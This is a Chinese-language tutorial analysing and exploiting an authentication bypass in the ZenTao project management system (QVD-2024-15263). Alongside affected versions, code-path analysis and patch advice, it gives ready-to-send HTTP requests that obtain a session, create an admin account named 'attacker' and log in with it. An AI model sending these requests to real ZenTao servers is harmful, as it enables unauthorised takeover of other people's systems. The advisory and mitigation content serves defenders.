QVD-2024-15263 禅道项目管理系统身份认证绕过漏洞
字数 1118 2025-08-23 18:31:34
禅道项目管理系统身份认证绕过漏洞(QVD-2024-15263)分析及利用教学
漏洞概述
禅道项目管理系统存在身份认证绕过漏洞,远程攻击者可以利用该漏洞绕过身份认证,调用任意API接口并修改管理员用户的密码,最终实现系统接管。
受影响版本
- 开源版: 16.x <= 禅道 < 18.12
- 企业版: 6.x <= 禅道 < 8.12
- 旗舰版: 3.x <= 禅道 < 4.12
漏洞原理分析
关键代码路径
zentaopms/module/common/model.php- 包含deny函数zentaopms/module/testcase/control.php- 包含testcase类zentaopms/framework/api/entry.class.php- 用户创建接口逻辑
漏洞触发流程
-
deny函数问题:- 在
model.php中的deny函数会为当前session添加一个user属性 - 当用户没有相关功能权限时,系统会调用
deny操作
- 在
-
testcase类鉴权绕过:- 通过访问
api.php?m=testcase&f=savexmindimport可以调用savexmindimport函数 - 实例化
testcase类时会调用helper::isAjaxRequest()检查是否为ajax请求 - 需要在GET请求中添加参数
HTTP_X_REQUESTED_WITH=XMLHttpRequest
- 通过访问
-
用户创建接口滥用:
- 用户创建接口位于
/api.php/v1/users - 系统会检查session中是否有
user属性或user值是否为guest - 通过上述步骤获取到带有
user属性的session后,可以绕过此检查 - 创建用户过程中缺乏进一步鉴权,可以创建管理员用户
- 用户创建接口位于
漏洞利用步骤
1. 获取有效session
发送以下请求以获取带有user属性的session:
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
Host: target.com
2. 创建管理员用户
使用获取的session发送创建用户请求:
POST /api.php/v1/users HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: [获取的session cookie]
{
"account": "attacker",
"password": "hacked123",
"realname": "Attacker",
"role": "admin",
"dept": 1
}
注:虽然可能返回403错误,但用户实际上已创建成功
3. 登录系统
使用新创建的管理员账户登录系统:
POST /user-login.html HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
account=attacker&password=hacked123
修复方案
-
官方补丁:
- 升级到最新版本:
- 开源版: 升级到18.12或更高
- 企业版: 升级到8.12或更高
- 旗舰版: 升级到4.12或更高
- 升级到最新版本:
-
临时缓解措施:
- 限制对
/api.php的访问 - 检查并删除异常用户账户
- 监控系统日志中的异常API调用
- 限制对
总结
该漏洞通过组合利用系统中的多个逻辑缺陷,最终实现了身份认证绕过和权限提升。攻击者可以完全控制受影响系统,建议受影响用户立即升级到安全版本。